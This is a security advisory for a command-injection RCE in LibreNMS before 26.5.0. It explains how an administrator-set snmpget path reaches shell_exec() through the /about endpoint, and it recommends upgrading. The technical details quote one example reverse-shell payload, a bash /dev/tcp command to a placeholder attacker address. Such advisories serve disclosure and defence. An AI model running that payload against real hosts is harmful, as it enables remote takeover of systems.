Description

LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.2",
  "pubDate": "2026-09-01T12:17:48.450Z",
  "pubdate": "2026-09-01T12:17:48.450Z",
  "executiveSummary": "LibreNMS versions prior to 26.5.0 are susceptible to an authenticated Remote Code Execution (RCE) vulnerability located within the AboutController component.\nThe vulnerability arises due to improper input sanitization of the snmpget configuration parameter before it is passed to a system-level shell execution function.\nAn attacker with administrative privileges can manipulate this configuration parameter to reference a malicious binary or arbitrary command string. Subsequent access to the /about endpoint triggers the execution of the injected command with the privileges of the web server process.\nSuccessful exploitation allows for full system compromise, enabling the attacker to execute arbitrary code, modify system files, access sensitive configuration data, or pivot to other network segments.\nThis vulnerability highlights a critical lack of input validation and the dangerous use of unsafe sinks for user-supplied configuration data.\nRemediation requires updating LibreNMS to version 26.5.0 or later, where appropriate input validation or architectural changes have been implemented to neutralize the command injection vector.",
  "technicalDetails": "The vulnerability is rooted in the AboutController component of the LibreNMS application, specifically within the logic that processes the snmpget configuration setting.\nThe application architecture permits administrators to define the path or command associated with the snmpget binary. This configuration parameter is stored and subsequently utilized in a system-level execution flow where it is passed directly to the shell_exec() function without sufficient input validation or path sanitization.\nThe exploitation process follows a specific sequence. First, the attacker must possess valid administrative credentials to access the administrative configuration interface. Within the global settings or system configuration panel, the attacker modifies the path for the 'snmpget' utility. Instead of a legitimate binary, the attacker replaces the path with a malicious payload, such as a command string designed to establish a reverse shell (e.g., 'bash -i >& /dev/tcp/attacker_ip/port 0>&1') or execute arbitrary system commands.\nOnce the configuration is saved, the vulnerable AboutController fetches this manipulated snmpget parameter. Upon a request to the /about endpoint, the controller logic invokes shell_exec(), injecting the attacker's payload directly into the host operating system's command shell execution context.\nBecause the shell_exec() function is executed by the web server's service account (typically www-data or similar), the injected code inherits these permissions, granting the attacker significant control over the underlying host. The lack of strict whitelisting for the binary path or proper sanitization of shell metacharacters facilitates this injection. The attack is effective because the system treats the configuration input as trusted, failing to distinguish between a legitimate file path and an arbitrary shell command.\nPost-exploitation activities are limited only by the privileges of the web server process, though they often serve as an initial foothold for privilege escalation, lateral movement, or the persistence of malicious scripts within the environment. Since the exploit requires administrative authentication, the attack surface is restricted to authorized users, but the high-impact nature of arbitrary code execution makes this a critical security concern for environments relying on LibreNMS for infrastructure management."
}